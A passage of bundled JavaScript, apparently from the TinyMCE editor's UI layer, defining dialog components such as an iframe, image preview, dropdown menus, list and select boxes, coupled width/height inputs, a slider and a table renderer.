                dom: {
                  tag: 'button',
                  styles: { position: 'relative' },
                  classes: [
                    'tox-button',
                    'tox-button--secondary'
                  ]
                },
                components: [
                  text$2(providersBackstage.translate('Browse for an image')),
                  memInput.asSpec()
                ],
                action: comp => {
                  const inputComp = memInput.get(comp);
                  inputComp.element.dom.click();
                },
                buttonBehaviours: derive$1([
                  Tabstopping.config({}),
                  DisablingConfigs.button(providersBackstage.isDisabled),
                  receivingConfig()
                ])
              })
            ]
          }]
      });
      const pLabel = spec.label.map(label => renderLabel$2(label, providersBackstage));
      const pField = FormField.parts.field({ factory: { sketch: renderField } });
      return renderFormFieldWith(pLabel, pField, ['tox-form__group--stretched'], []);
    };

    const renderGrid = (spec, backstage) => ({
      dom: {
        tag: 'div',
        classes: [
          'tox-form__grid',
          `tox-form__grid--${ spec.columns }col`
        ]
      },
      components: map$2(spec.items, backstage.interpreter)
    });

    const beforeObject = generate$6('alloy-fake-before-tabstop');
    const afterObject = generate$6('alloy-fake-after-tabstop');
    const craftWithClasses = classes => {
      return {
        dom: {
          tag: 'div',
          styles: {
            width: '1px',
            height: '1px',
            outline: 'none'
          },
          attributes: { tabindex: '0' },
          classes
        },
        behaviours: derive$1([
          Focusing.config({ ignore: true }),
          Tabstopping.config({})
        ])
      };
    };
    const craft = spec => {
      return {
        dom: {
          tag: 'div',
          classes: ['tox-navobj']
        },
        components: [
          craftWithClasses([beforeObject]),
          spec,
          craftWithClasses([afterObject])
        ],
        behaviours: derive$1([ComposingConfigs.childAt(1)])
      };
    };
    const triggerTab = (placeholder, shiftKey) => {
      emitWith(placeholder, keydown(), {
        raw: {
          which: 9,
          shiftKey
        }
      });
    };
    const onFocus = (container, targetComp) => {
      const target = targetComp.element;
      if (has(target, beforeObject)) {
        triggerTab(container, true);
      } else if (has(target, afterObject)) {
        triggerTab(container, false);
      }
    };
    const isPseudoStop = element => {
      return closest(element, [
        '.' + beforeObject,
        '.' + afterObject
      ].join(','), never);
    };

    const getDynamicSource = initialData => {
      const cachedValue = Cell(initialData.getOr(''));
      return {
        getValue: _frameComponent => cachedValue.get(),
        setValue: (frameComponent, html) => {
          if (cachedValue.get() !== html) {
            set$9(frameComponent.element, 'srcdoc', html);
          }
          cachedValue.set(html);
        }
      };
    };
    const renderIFrame = (spec, providersBackstage, initialData) => {
      const isSandbox = spec.sandboxed;
      const isTransparent = spec.transparent;
      const baseClass = 'tox-dialog__iframe';
      const attributes = {
        ...spec.label.map(title => ({ title })).getOr({}),
        ...initialData.map(html => ({ srcdoc: html })).getOr({}),
        ...isSandbox ? { sandbox: 'allow-scripts allow-same-origin' } : {}
      };
      const sourcing = getDynamicSource(initialData);
      const pLabel = spec.label.map(label => renderLabel$2(label, providersBackstage));
      const factory = newSpec => craft({
        uid: newSpec.uid,
        dom: {
          tag: 'iframe',
          attributes,
          classes: isTransparent ? [baseClass] : [
            baseClass,
            `${ baseClass }--opaque`
          ]
        },
        behaviours: derive$1([
          Tabstopping.config({}),
          Focusing.config({}),
          RepresentingConfigs.withComp(initialData, sourcing.getValue, sourcing.setValue)
        ])
      });
      const pField = FormField.parts.field({ factory: { sketch: factory } });
      return renderFormFieldWith(pLabel, pField, ['tox-form__group--stretched'], []);
    };

    const image = image => new Promise((resolve, reject) => {
      const loaded = () => {
        destroy();
        resolve(image);
      };
      const listeners = [
        bind(image, 'load', loaded),
        bind(image, 'error', () => {
          destroy();
          reject('Unable to load data from image: ' + image.dom.src);
        })
      ];
      const destroy = () => each$1(listeners, l => l.unbind());
      if (image.dom.complete) {
        loaded();
      }
    });

    const calculateImagePosition = (panelWidth, panelHeight, imageWidth, imageHeight, zoom) => {
      const width = imageWidth * zoom;
      const height = imageHeight * zoom;
      const left = Math.max(0, panelWidth / 2 - width / 2);
      const top = Math.max(0, panelHeight / 2 - height / 2);
      return {
        left: left.toString() + 'px',
        top: top.toString() + 'px',
        width: width.toString() + 'px',
        height: height.toString() + 'px'
      };
    };
    const zoomToFit = (panel, width, height) => {
      const panelW = get$c(panel);
      const panelH = get$d(panel);
      return Math.min(panelW / width, panelH / height, 1);
    };
    const renderImagePreview = (spec, initialData) => {
      const cachedData = Cell(initialData.getOr({ url: '' }));
      const memImage = record({
        dom: {
          tag: 'img',
          classes: ['tox-imagepreview__image'],
          attributes: initialData.map(data => ({ src: data.url })).getOr({})
        }
      });
      const memContainer = record({
        dom: {
          tag: 'div',
          classes: ['tox-imagepreview__container'],
          attributes: { role: 'presentation' }
        },
        components: [memImage.asSpec()]
      });
      const setValue = (frameComponent, data) => {
        const translatedData = { url: data.url };
        data.zoom.each(z => translatedData.zoom = z);
        data.cachedWidth.each(z => translatedData.cachedWidth = z);
        data.cachedHeight.each(z => translatedData.cachedHeight = z);
        cachedData.set(translatedData);
        const applyFramePositioning = () => {
          const {cachedWidth, cachedHeight, zoom} = translatedData;
          if (!isUndefined(cachedWidth) && !isUndefined(cachedHeight)) {
            if (isUndefined(zoom)) {
              const z = zoomToFit(frameComponent.element, cachedWidth, cachedHeight);
              translatedData.zoom = z;
            }
            const position = calculateImagePosition(get$c(frameComponent.element), get$d(frameComponent.element), cachedWidth, cachedHeight, translatedData.zoom);
            memContainer.getOpt(frameComponent).each(container => {
              setAll(container.element, position);
            });
          }
        };
        memImage.getOpt(frameComponent).each(imageComponent => {
          const img = imageComponent.element;
          if (data.url !== get$f(img, 'src')) {
            set$9(img, 'src', data.url);
            remove$2(frameComponent.element, 'tox-imagepreview__loaded');
          }
          applyFramePositioning();
          image(img).then(img => {
            if (frameComponent.getSystem().isConnected()) {
              add$2(frameComponent.element, 'tox-imagepreview__loaded');
              translatedData.cachedWidth = img.dom.naturalWidth;
              translatedData.cachedHeight = img.dom.naturalHeight;
              applyFramePositioning();
            }
          });
        });
      };
      const styles = {};
      spec.height.each(h => styles.height = h);
      const fakeValidatedData = initialData.map(d => ({
        url: d.url,
        zoom: Optional.from(d.zoom),
        cachedWidth: Optional.from(d.cachedWidth),
        cachedHeight: Optional.from(d.cachedHeight)
      }));
      return {
        dom: {
          tag: 'div',
          classes: ['tox-imagepreview'],
          styles,
          attributes: { role: 'presentation' }
        },
        components: [memContainer.asSpec()],
        behaviours: derive$1([
          ComposingConfigs.self(),
          RepresentingConfigs.withComp(fakeValidatedData, () => cachedData.get(), setValue)
        ])
      };
    };

    const renderLabel$1 = (spec, backstageShared) => {
      const label = {
        dom: {
          tag: 'label',
          classes: ['tox-label']
        },
        components: [text$2(backstageShared.providers.translate(spec.label))]
      };
      const comps = map$2(spec.items, backstageShared.interpreter);
      return {
        dom: {
          tag: 'div',
          classes: ['tox-form__group']
        },
        components: [
          label,
          ...comps
        ],
        behaviours: derive$1([
          ComposingConfigs.self(),
          Replacing.config({}),
          RepresentingConfigs.domHtml(Optional.none()),
          Keying.config({ mode: 'acyclic' })
        ])
      };
    };

    const internalToolbarButtonExecute = generate$6('toolbar.button.execute');
    const onToolbarButtonExecute = info => runOnExecute$1((comp, _simulatedEvent) => {
      runWithApi(info, comp)(itemApi => {
        emitWith(comp, internalToolbarButtonExecute, { buttonApi: itemApi });
        info.onAction(itemApi);
      });
    });
    const toolbarButtonEventOrder = {
      [execute$5()]: [
        'disabling',
        'alloy.base.behaviour',
        'toggling',
        'toolbar-button-events'
      ]
    };

    const renderIcon = (iconName, iconsProvider, behaviours) => render$3(iconName, {
      tag: 'span',
      classes: [
        'tox-icon',
        'tox-tbtn__icon-wrap'
      ],
      behaviours
    }, iconsProvider);
    const renderIconFromPack = (iconName, iconsProvider) => renderIcon(iconName, iconsProvider, []);
    const renderReplaceableIconFromPack = (iconName, iconsProvider) => renderIcon(iconName, iconsProvider, [Replacing.config({})]);
    const renderLabel = (text, prefix, providersBackstage) => ({
      dom: {
        tag: 'span',
        classes: [`${ prefix }__select-label`]
      },
      components: [text$2(providersBackstage.translate(text))],
      behaviours: derive$1([Replacing.config({})])
    });

    const updateMenuText = generate$6('update-menu-text');
    const updateMenuIcon = generate$6('update-menu-icon');
    const renderCommonDropdown = (spec, prefix, sharedBackstage) => {
      const editorOffCell = Cell(noop);
      const optMemDisplayText = spec.text.map(text => record(renderLabel(text, prefix, sharedBackstage.providers)));
      const optMemDisplayIcon = spec.icon.map(iconName => record(renderReplaceableIconFromPack(iconName, sharedBackstage.providers.icons)));
      const onLeftOrRightInMenu = (comp, se) => {
        const dropdown = Representing.getValue(comp);
        Focusing.focus(dropdown);
        emitWith(dropdown, 'keydown', { raw: se.event.raw });
        Dropdown.close(dropdown);
        return Optional.some(true);
      };
      const role = spec.role.fold(() => ({}), role => ({ role }));
      const tooltipAttributes = spec.tooltip.fold(() => ({}), tooltip => {
        const translatedTooltip = sharedBackstage.providers.translate(tooltip);
        return {
          'title': translatedTooltip,
          'aria-label': translatedTooltip
        };
      });
      const iconSpec = render$3('chevron-down', {
        tag: 'div',
        classes: [`${ prefix }__select-chevron`]
      }, sharedBackstage.providers.icons);
      const memDropdown = record(Dropdown.sketch({
        ...spec.uid ? { uid: spec.uid } : {},
        ...role,
        dom: {
          tag: 'button',
          classes: [
            prefix,
            `${ prefix }--select`
          ].concat(map$2(spec.classes, c => `${ prefix }--${ c }`)),
          attributes: { ...tooltipAttributes }
        },
        components: componentRenderPipeline([
          optMemDisplayIcon.map(mem => mem.asSpec()),
          optMemDisplayText.map(mem => mem.asSpec()),
          Optional.some(iconSpec)
        ]),
        matchWidth: true,
        useMinWidth: true,
        onOpen: (anchor, dropdownComp, tmenuComp) => {
          if (spec.searchable) {
            focusSearchField(tmenuComp);
          }
        },
        dropdownBehaviours: derive$1([
          ...spec.dropdownBehaviours,
          DisablingConfigs.button(() => spec.disabled || sharedBackstage.providers.isDisabled()),
          receivingConfig(),
          Unselecting.config({}),
          Replacing.config({}),
          config('dropdown-events', [
            onControlAttached(spec, editorOffCell),
            onControlDetached(spec, editorOffCell)
          ]),
          config('menubutton-update-display-text', [
            run$1(updateMenuText, (comp, se) => {
              optMemDisplayText.bind(mem => mem.getOpt(comp)).each(displayText => {
                Replacing.set(displayText, [text$2(sharedBackstage.providers.translate(se.event.text))]);
              });
            }),
            run$1(updateMenuIcon, (comp, se) => {
              optMemDisplayIcon.bind(mem => mem.getOpt(comp)).each(displayIcon => {
                Replacing.set(displayIcon, [renderReplaceableIconFromPack(se.event.icon, sharedBackstage.providers.icons)]);
              });
            })
          ])
        ]),
        eventOrder: deepMerge(toolbarButtonEventOrder, {
          mousedown: [
            'focusing',
            'alloy.base.behaviour',
            'item-type-events',
            'normal-dropdown-events'
          ]
        }),
        sandboxBehaviours: derive$1([
          Keying.config({
            mode: 'special',
            onLeft: onLeftOrRightInMenu,
            onRight: onLeftOrRightInMenu
          }),
          config('dropdown-sandbox-events', [
            run$1(refetchTriggerEvent, (originalSandboxComp, se) => {
              handleRefetchTrigger(originalSandboxComp);
              se.stop();
            }),
            run$1(redirectMenuItemInteractionEvent, (sandboxComp, se) => {
              handleRedirectToMenuItem(sandboxComp, se);
              se.stop();
            })
          ])
        ]),
        lazySink: sharedBackstage.getSink,
        toggleClass: `${ prefix }--active`,
        parts: {
          menu: {
            ...part(false, spec.columns, spec.presets),
            fakeFocus: spec.searchable,
            onHighlightItem: updateAriaOnHighlight,
            onCollapseMenu: (tmenuComp, itemCompCausingCollapse, nowActiveMenuComp) => {
              Highlighting.getHighlighted(nowActiveMenuComp).each(itemComp => {
                updateAriaOnHighlight(tmenuComp, nowActiveMenuComp, itemComp);
              });
            },
            onDehighlightItem: updateAriaOnDehighlight
          }
        },
        fetch: comp => Future.nu(curry(spec.fetch, comp))
      }));
      return memDropdown.asSpec();
    };

    const isMenuItemReference = item => isString(item);
    const isSeparator$2 = item => item.type === 'separator';
    const isExpandingMenuItem = item => has$2(item, 'getSubmenuItems');
    const separator$2 = { type: 'separator' };
    const unwrapReferences = (items, menuItems) => {
      const realItems = foldl(items, (acc, item) => {
        if (isMenuItemReference(item)) {
          if (item === '') {
            return acc;
          } else if (item === '|') {
            return acc.length > 0 && !isSeparator$2(acc[acc.length - 1]) ? acc.concat([separator$2]) : acc;
          } else if (has$2(menuItems, item.toLowerCase())) {
            return acc.concat([menuItems[item.toLowerCase()]]);
          } else {
            return acc;
          }
        } else {
          return acc.concat([item]);
        }
      }, []);
      if (realItems.length > 0 && isSeparator$2(realItems[realItems.length - 1])) {
        realItems.pop();
      }
      return realItems;
    };
    const getFromExpandingItem = (item, menuItems) => {
      const submenuItems = item.getSubmenuItems();
      const rest = expand(submenuItems, menuItems);
      const newMenus = deepMerge(rest.menus, { [item.value]: rest.items });
      const newExpansions = deepMerge(rest.expansions, { [item.value]: item.value });
      return {
        item,
        menus: newMenus,
        expansions: newExpansions
      };
    };
    const generateValueIfRequired = item => {
      const itemValue = get$g(item, 'value').getOrThunk(() => generate$6('generated-menu-item'));
      return deepMerge({ value: itemValue }, item);
    };
    const expand = (items, menuItems) => {
      const realItems = unwrapReferences(isString(items) ? items.split(' ') : items, menuItems);
      return foldr(realItems, (acc, item) => {
        if (isExpandingMenuItem(item)) {
          const itemWithValue = generateValueIfRequired(item);
          const newData = getFromExpandingItem(itemWithValue, menuItems);
          return {
            menus: deepMerge(acc.menus, newData.menus),
            items: [
              newData.item,
              ...acc.items
            ],
            expansions: deepMerge(acc.expansions, newData.expansions)
          };
        } else {
          return {
            ...acc,
            items: [
              item,
              ...acc.items
            ]
          };
        }
      }, {
        menus: {},
        expansions: {},
        items: []
      });
    };

    const getSearchModeForField = settings => {
      return settings.search.fold(() => ({ searchMode: 'no-search' }), searchSettings => ({
        searchMode: 'search-with-field',
        placeholder: searchSettings.placeholder
      }));
    };
    const getSearchModeForResults = settings => {
      return settings.search.fold(() => ({ searchMode: 'no-search' }), _ => ({ searchMode: 'search-with-results' }));
    };
    const build = (items, itemResponse, backstage, settings) => {
      const primary = generate$6('primary-menu');
      const data = expand(items, backstage.shared.providers.menuItems());
      if (data.items.length === 0) {
        return Optional.none();
      }
      const mainMenuSearchMode = getSearchModeForField(settings);
      const mainMenu = createPartialMenu(primary, data.items, itemResponse, backstage, settings.isHorizontalMenu, mainMenuSearchMode);
      const submenuSearchMode = getSearchModeForResults(settings);
      const submenus = map$1(data.menus, (menuItems, menuName) => createPartialMenu(menuName, menuItems, itemResponse, backstage, false, submenuSearchMode));
      const menus = deepMerge(submenus, wrap$1(primary, mainMenu));
      return Optional.from(tieredMenu.tieredData(primary, menus, data.expansions));
    };

    const isSingleListItem = item => !has$2(item, 'items');
    const dataAttribute = 'data-value';
    const fetchItems = (dropdownComp, name, items, selectedValue) => map$2(items, item => {
      if (!isSingleListItem(item)) {
        return {
          type: 'nestedmenuitem',
          text: item.text,
          getSubmenuItems: () => fetchItems(dropdownComp, name, item.items, selectedValue)
        };
      } else {
        return {
          type: 'togglemenuitem',
          text: item.text,
          value: item.value,
          active: item.value === selectedValue,
          onAction: () => {
            Representing.setValue(dropdownComp, item.value);
            emitWith(dropdownComp, formChangeEvent, { name });
            Focusing.focus(dropdownComp);
          }
        };
      }
    });
    const findItemByValue = (items, value) => findMap(items, item => {
      if (!isSingleListItem(item)) {
        return findItemByValue(item.items, value);
      } else {
        return someIf(item.value === value, item);
      }
    });
    const renderListBox = (spec, backstage, initialData) => {
      const providersBackstage = backstage.shared.providers;
      const initialItem = initialData.bind(value => findItemByValue(spec.items, value)).orThunk(() => head(spec.items).filter(isSingleListItem));
      const pLabel = spec.label.map(label => renderLabel$2(label, providersBackstage));
      const pField = FormField.parts.field({
        dom: {},
        factory: {
          sketch: sketchSpec => renderCommonDropdown({
            uid: sketchSpec.uid,
            text: initialItem.map(item => item.text),
            icon: Optional.none(),
            tooltip: spec.label,
            role: Optional.none(),
            fetch: (comp, callback) => {
              const items = fetchItems(comp, spec.name, spec.items, Representing.getValue(comp));
              callback(build(items, ItemResponse$1.CLOSE_ON_EXECUTE, backstage, {
                isHorizontalMenu: false,
                search: Optional.none()
              }));
            },
            onSetup: constant$1(noop),
            getApi: constant$1({}),
            columns: 1,
            presets: 'normal',
            classes: [],
            dropdownBehaviours: [
              Tabstopping.config({}),
              RepresentingConfigs.withComp(initialItem.map(item => item.value), comp => get$f(comp.element, dataAttribute), (comp, data) => {
                findItemByValue(spec.items, data).each(item => {
                  set$9(comp.element, dataAttribute, item.value);
                  emitWith(comp, updateMenuText, { text: item.text });
                });
              })
            ]
          }, 'tox-listbox', backstage.shared)
        }
      });
      const listBoxWrap = {
        dom: {
          tag: 'div',
          classes: ['tox-listboxfield']
        },
        components: [pField]
      };
      return FormField.sketch({
        dom: {
          tag: 'div',
          classes: ['tox-form__group']
        },
        components: flatten([
          pLabel.toArray(),
          [listBoxWrap]
        ]),
        fieldBehaviours: derive$1([Disabling.config({
            disabled: constant$1(!spec.enabled),
            onDisabled: comp => {
              FormField.getField(comp).each(Disabling.disable);
            },
            onEnabled: comp => {
              FormField.getField(comp).each(Disabling.enable);
            }
          })])
      });
    };

    const renderPanel = (spec, backstage) => ({
      dom: {
        tag: 'div',
        classes: spec.classes
      },
      components: map$2(spec.items, backstage.shared.interpreter)
    });

    const factory$h = (detail, _spec) => {
      const options = map$2(detail.options, option => ({
        dom: {
          tag: 'option',
          value: option.value,
          innerHtml: option.text
        }
      }));
      const initialValues = detail.data.map(v => wrap$1('initialValue', v)).getOr({});
      return {
        uid: detail.uid,
        dom: {
          tag: 'select',
          classes: detail.selectClasses,
          attributes: detail.selectAttributes
        },
        components: options,
        behaviours: augment(detail.selectBehaviours, [
          Focusing.config({}),
          Representing.config({
            store: {
              mode: 'manual',
              getValue: select => {
                return get$6(select.element);
              },
              setValue: (select, newValue) => {
                const found = find$5(detail.options, opt => opt.value === newValue);
                if (found.isSome()) {
                  set$5(select.element, newValue);
                }
              },
              ...initialValues
            }
          })
        ])
      };
    };
    const HtmlSelect = single({
      name: 'HtmlSelect',
      configFields: [
        required$1('options'),
        field('selectBehaviours', [
          Focusing,
          Representing
        ]),
        defaulted('selectClasses', []),
        defaulted('selectAttributes', {}),
        option$3('data')
      ],
      factory: factory$h
    });

    const renderSelectBox = (spec, providersBackstage, initialData) => {
      const translatedOptions = map$2(spec.items, item => ({
        text: providersBackstage.translate(item.text),
        value: item.value
      }));
      const pLabel = spec.label.map(label => renderLabel$2(label, providersBackstage));
      const pField = FormField.parts.field({
        dom: {},
        ...initialData.map(data => ({ data })).getOr({}),
        selectAttributes: { size: spec.size },
        options: translatedOptions,
        factory: HtmlSelect,
        selectBehaviours: derive$1([
          Disabling.config({ disabled: () => !spec.enabled || providersBackstage.isDisabled() }),
          Tabstopping.config({}),
          config('selectbox-change', [run$1(change(), (component, _) => {
              emitWith(component, formChangeEvent, { name: spec.name });
            })])
        ])
      });
      const chevron = spec.size > 1 ? Optional.none() : Optional.some(render$3('chevron-down', {
        tag: 'div',
        classes: ['tox-selectfield__icon-js']
      }, providersBackstage.icons));
      const selectWrap = {
        dom: {
          tag: 'div',
          classes: ['tox-selectfield']
        },
        components: flatten([
          [pField],
          chevron.toArray()
        ])
      };
      return FormField.sketch({
        dom: {
          tag: 'div',
          classes: ['tox-form__group']
        },
        components: flatten([
          pLabel.toArray(),
          [selectWrap]
        ]),
        fieldBehaviours: derive$1([
          Disabling.config({
            disabled: () => !spec.enabled || providersBackstage.isDisabled(),
            onDisabled: comp => {
              FormField.getField(comp).each(Disabling.disable);
            },
            onEnabled: comp => {
              FormField.getField(comp).each(Disabling.enable);
            }
          }),
          receivingConfig()
        ])
      });
    };

    const schema$h = constant$1([
      defaulted('field1Name', 'field1'),
      defaulted('field2Name', 'field2'),
      onStrictHandler('onLockedChange'),
      markers$1(['lockClass']),
      defaulted('locked', false),
      SketchBehaviours.field('coupledFieldBehaviours', [
        Composing,
        Representing
      ])
    ]);
    const getField = (comp, detail, partName) => getPart(comp, detail, partName).bind(Composing.getCurrent);
    const coupledPart = (selfName, otherName) => required({
      factory: FormField,
      name: selfName,
      overrides: detail => {
        return {
          fieldBehaviours: derive$1([config('coupled-input-behaviour', [run$1(input(), me => {
                getField(me, detail, otherName).each(other => {
                  getPart(me, detail, 'lock').each(lock => {
                    if (Toggling.isOn(lock)) {
                      detail.onLockedChange(me, other, lock);
                    }
                  });
                });
              })])])
        };
      }
    });
    const parts$c = constant$1([
      coupledPart('field1', 'field2'),
      coupledPart('field2', 'field1'),
      required({
        factory: Button,
        schema: [required$1('dom')],
        name: 'lock',
        overrides: detail => {
          return {
            buttonBehaviours: derive$1([Toggling.config({
                selected: detail.locked,
                toggleClass: detail.markers.lockClass,
                aria: { mode: 'pressed' }
              })])
          };
        }
      })
    ]);

    const factory$g = (detail, components, _spec, _externals) => ({
      uid: detail.uid,
      dom: detail.dom,
      components,
      behaviours: SketchBehaviours.augment(detail.coupledFieldBehaviours, [
        Composing.config({ find: Optional.some }),
        Representing.config({
          store: {
            mode: 'manual',
            getValue: comp => {
              const parts = getPartsOrDie(comp, detail, [
                'field1',
                'field2'
              ]);
              return {
                [detail.field1Name]: Representing.getValue(parts.field1()),
                [detail.field2Name]: Representing.getValue(parts.field2())
              };
            },
            setValue: (comp, value) => {
              const parts = getPartsOrDie(comp, detail, [
                'field1',
                'field2'
              ]);
              if (hasNonNullableKey(value, detail.field1Name)) {
                Representing.setValue(parts.field1(), value[detail.field1Name]);
              }
              if (hasNonNullableKey(value, detail.field2Name)) {
                Representing.setValue(parts.field2(), value[detail.field2Name]);
              }
            }
          }
        })
      ]),
      apis: {
        getField1: component => getPart(component, detail, 'field1'),
        getField2: component => getPart(component, detail, 'field2'),
        getLock: component => getPart(component, detail, 'lock')
      }
    });
    const FormCoupledInputs = composite({
      name: 'FormCoupledInputs',
      configFields: schema$h(),
      partFields: parts$c(),
      factory: factory$g,
      apis: {
        getField1: (apis, component) => apis.getField1(component),
        getField2: (apis, component) => apis.getField2(component),
        getLock: (apis, component) => apis.getLock(component)
      }
    });

    const formatSize = size => {
      const unitDec = {
        '': 0,
        'px': 0,
        'pt': 1,
        'mm': 1,
        'pc': 2,
        'ex': 2,
        'em': 2,
        'ch': 2,
        'rem': 2,
        'cm': 3,
        'in': 4,
        '%': 4
      };
      const maxDecimal = unit => unit in unitDec ? unitDec[unit] : 1;
      let numText = size.value.toFixed(maxDecimal(size.unit));
      if (numText.indexOf('.') !== -1) {
        numText = numText.replace(/\.?0*$/, '');
      }
      return numText + size.unit;
    };
    const parseSize = sizeText => {
      const numPattern = /^\s*(\d+(?:\.\d+)?)\s*(|cm|mm|in|px|pt|pc|em|ex|ch|rem|vw|vh|vmin|vmax|%)\s*$/;
      const match = numPattern.exec(sizeText);
      if (match !== null) {
        const value = parseFloat(match[1]);
        const unit = match[2];
        return Result.value({
          value,
          unit
        });
      } else {
        return Result.error(sizeText);
      }
    };
    const convertUnit = (size, unit) => {
      const inInch = {
        '': 96,
        'px': 96,
        'pt': 72,
        'cm': 2.54,
        'pc': 12,
        'mm': 25.4,
        'in': 1
      };
      const supported = u => has$2(inInch, u);
      if (size.unit === unit) {
        return Optional.some(size.value);
      } else if (supported(size.unit) && supported(unit)) {
        if (inInch[size.unit] === inInch[unit]) {
          return Optional.some(size.value);
        } else {
          return Optional.some(size.value / inInch[size.unit] * inInch[unit]);
        }
      } else {
        return Optional.none();
      }
    };
    const noSizeConversion = _input => Optional.none();
    const ratioSizeConversion = (scale, unit) => size => convertUnit(size, unit).map(value => ({
      value: value * scale,
      unit
    }));
    const makeRatioConverter = (currentFieldText, otherFieldText) => {
      const cValue = parseSize(currentFieldText).toOptional();
      const oValue = parseSize(otherFieldText).toOptional();
      return lift2(cValue, oValue, (cSize, oSize) => convertUnit(cSize, oSize.unit).map(val => oSize.value / val).map(r => ratioSizeConversion(r, oSize.unit)).getOr(noSizeConversion)).getOr(noSizeConversion);
    };

    const renderSizeInput = (spec, providersBackstage) => {
      let converter = noSizeConversion;
      const ratioEvent = generate$6('ratio-event');
      const makeIcon = iconName => render$3(iconName, {
        tag: 'span',
        classes: [
          'tox-icon',
          'tox-lock-icon__' + iconName
        ]
      }, providersBackstage.icons);
      const pLock = FormCoupledInputs.parts.lock({
        dom: {
          tag: 'button',
          classes: [
            'tox-lock',
            'tox-button',
            'tox-button--naked',
            'tox-button--icon'
          ],
          attributes: { title: providersBackstage.translate(spec.label.getOr('Constrain proportions')) }
        },
        components: [
          makeIcon('lock'),
          makeIcon('unlock')
        ],
        buttonBehaviours: derive$1([
          Disabling.config({ disabled: () => !spec.enabled || providersBackstage.isDisabled() }),
          receivingConfig(),
          Tabstopping.config({})
        ])
      });
      const formGroup = components => ({
        dom: {
          tag: 'div',
          classes: ['tox-form__group']
        },
        components
      });
      const getFieldPart = isField1 => FormField.parts.field({
        factory: Input,
        inputClasses: ['tox-textfield'],
        inputBehaviours: derive$1([
          Disabling.config({ disabled: () => !spec.enabled || providersBackstage.isDisabled() }),
          receivingConfig(),
          Tabstopping.config({}),
          config('size-input-events', [
            run$1(focusin(), (component, _simulatedEvent) => {
              emitWith(component, ratioEvent, { isField1 });
            }),
            run$1(change(), (component, _simulatedEvent) => {
              emitWith(component, formChangeEvent, { name: spec.name });
            })
          ])
        ]),
        selectOnFocus: false
      });
      const getLabel = label => ({
        dom: {
          tag: 'label',
          classes: ['tox-label']
        },
        components: [text$2(providersBackstage.translate(label))]
      });
      const widthField = FormCoupledInputs.parts.field1(formGroup([
        FormField.parts.label(getLabel('Width')),
        getFieldPart(true)
      ]));
      const heightField = FormCoupledInputs.parts.field2(formGroup([
        FormField.parts.label(getLabel('Height')),
        getFieldPart(false)
      ]));
      return FormCoupledInputs.sketch({
        dom: {
          tag: 'div',
          classes: ['tox-form__group']
        },
        components: [{
            dom: {
              tag: 'div',
              classes: ['tox-form__controls-h-stack']
            },
            components: [
              widthField,
              heightField,
              formGroup([
                getLabel(nbsp),
                pLock
              ])
            ]
          }],
        field1Name: 'width',
        field2Name: 'height',
        locked: true,
        markers: { lockClass: 'tox-locked' },
        onLockedChange: (current, other, _lock) => {
          parseSize(Representing.getValue(current)).each(size => {
            converter(size).each(newSize => {
              Representing.setValue(other, formatSize(newSize));
            });
          });
        },
        coupledFieldBehaviours: derive$1([
          Disabling.config({
            disabled: () => !spec.enabled || providersBackstage.isDisabled(),
            onDisabled: comp => {
              FormCoupledInputs.getField1(comp).bind(FormField.getField).each(Disabling.disable);
              FormCoupledInputs.getField2(comp).bind(FormField.getField).each(Disabling.disable);
              FormCoupledInputs.getLock(comp).each(Disabling.disable);
            },
            onEnabled: comp => {
              FormCoupledInputs.getField1(comp).bind(FormField.getField).each(Disabling.enable);
              FormCoupledInputs.getField2(comp).bind(FormField.getField).each(Disabling.enable);
              FormCoupledInputs.getLock(comp).each(Disabling.enable);
            }
          }),
          receivingConfig(),
          config('size-input-events2', [run$1(ratioEvent, (component, simulatedEvent) => {
              const isField1 = simulatedEvent.event.isField1;
              const optCurrent = isField1 ? FormCoupledInputs.getField1(component) : FormCoupledInputs.getField2(component);
              const optOther = isField1 ? FormCoupledInputs.getField2(component) : FormCoupledInputs.getField1(component);
              const value1 = optCurrent.map(Representing.getValue).getOr('');
              const value2 = optOther.map(Representing.getValue).getOr('');
              converter = makeRatioConverter(value1, value2);
            })])
        ])
      });
    };

    const renderSlider = (spec, providerBackstage, initialData) => {
      const labelPart = Slider.parts.label({
        dom: {
          tag: 'label',
          classes: ['tox-label']
        },
        components: [text$2(providerBackstage.translate(spec.label))]
      });
      const spectrum = Slider.parts.spectrum({
        dom: {
          tag: 'div',
          classes: ['tox-slider__rail'],
          attributes: { role: 'presentation' }
        }
      });
      const thumb = Slider.parts.thumb({
        dom: {
          tag: 'div',
          classes: ['tox-slider__handle'],
          attributes: { role: 'presentation' }
        }
      });
      return Slider.sketch({
        dom: {
          tag: 'div',
          classes: ['tox-slider'],
          attributes: { role: 'presentation' }
        },
        model: {
          mode: 'x',
          minX: spec.min,
          maxX: spec.max,
          getInitialValue: constant$1(initialData.getOrThunk(() => (Math.abs(spec.max) - Math.abs(spec.min)) / 2))
        },
        components: [
          labelPart,
          spectrum,
          thumb
        ],
        sliderBehaviours: derive$1([
          ComposingConfigs.self(),
          Focusing.config({})
        ]),
        onChoose: (component, thumb, value) => {
          emitWith(component, formChangeEvent, {
            name: spec.name,
            value
          });
        }
      });
    };

    const renderTable = (spec, providersBackstage) => {
      const renderTh = text => ({
        dom: {
          tag: 'th',
          innerHtml: providersBackstage.translate(text)
        }
      });
      const renderHeader = header => ({
        dom: { tag: 'thead' },
        components: [{
            dom: { tag: 'tr' },
            components: map$2(header, renderTh)
          }]
      });
      const renderTd = text => ({
        dom: {
          tag: 'td',
          innerHtml: providersBackstage.translate(text)
        }
      });
      const renderTr = row => ({
        dom: { tag: 'tr' },
        components: map$2(row, renderTd)
      });
      const renderRows = rows => ({
        dom: { tag: 'tbody' },
        components: map$2(rows, renderTr)
      });
      return {
        dom: {
          tag: 'table',
          classes: ['tox-dialog__table']
        },
        components: [
          renderHeader(spec.header),
          renderRows(spec.cells)
        ],
        behaviours: derive$1([
          Tabstopping.config({}),
          Focusing.config({})
        ])
      };
    };

    const renderTextField = (spec, providersBackstage) => {
      const pLabel = spec.label.map(label => renderLabel$2(label, providersBackstage));
      const baseInputBehaviours = [
        Disabling.config({ disabled: () => spec.disabled || providersBackstage.isDisabled() }),
        receivingConfig(),
        Keying.config({
          mode: 'execution',
          useEnter: spec.multiline !== true,
          useControlEnter: spec.multiline === true,
          execute: comp => {
            emit(comp, formSubmitEvent);
            return Optional.some(true);
          }
        }),
        config('textfield-change', [
          run$1(input(), (component, _) => {
            emitWith(component, formChangeEvent, { name: spec.name });
          }),
          run$1(postPaste(), (component, _) => {
            emitWith(component, formChangeEvent, { name: spec.name });
          })
        ]),
        Tabstopping.config({})
      ];
      const validatingBehaviours = spec.validation.map(vl => Invalidating.config({
